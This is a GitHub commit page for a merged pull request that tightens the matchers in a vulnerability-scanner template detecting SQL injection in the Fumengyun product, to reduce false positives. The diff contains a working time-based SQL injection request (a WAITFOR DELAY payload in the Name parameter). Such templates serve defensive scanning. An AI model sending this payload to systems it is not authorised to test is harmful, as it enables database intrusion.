Merge pull request #10886 from projectdiscovery/FP-fumengyun-sqli

Fix FP fumengyun-sqli.yaml
patch-12
Dhiyaneshwaran 2024-10-03 14:43:45 +05:30 committed by GitHub
commit 80eacdcdd9
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 5 additions and 2 deletions

View File

@ -36,6 +36,7 @@ http:
GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27;WAITFOR%20DELAY%20%270:0:6%27-- HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
@ -49,6 +50,8 @@ http:
name: time-based
dsl:
- 'duration_2>=6'
- 'contains_all(response_2, "0", "text/plain")'
- 'len(body_2) == 1'
- 'regex("^0$", body_2)'
- 'contains(content_type_2, "text/plain")'
condition: and
# digest: 4a0a004730450220093e0ab367ad9bd0fb821ab8a76348d35fdccfcdceb731ab028dd494d3e58ba702210082b1ed2a0e9f9d628c6d0d16a48f346fecd912251491470e4926509bf6fb6baa:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220093e0ab367ad9bd0fb821ab8a76348d35fdccfcdceb731ab028dd494d3e58ba702210082b1ed2a0e9f9d628c6d0d16a48f346fecd912251491470e4926509bf6fb6baa:922c64590222798bb761d5b6d8e72950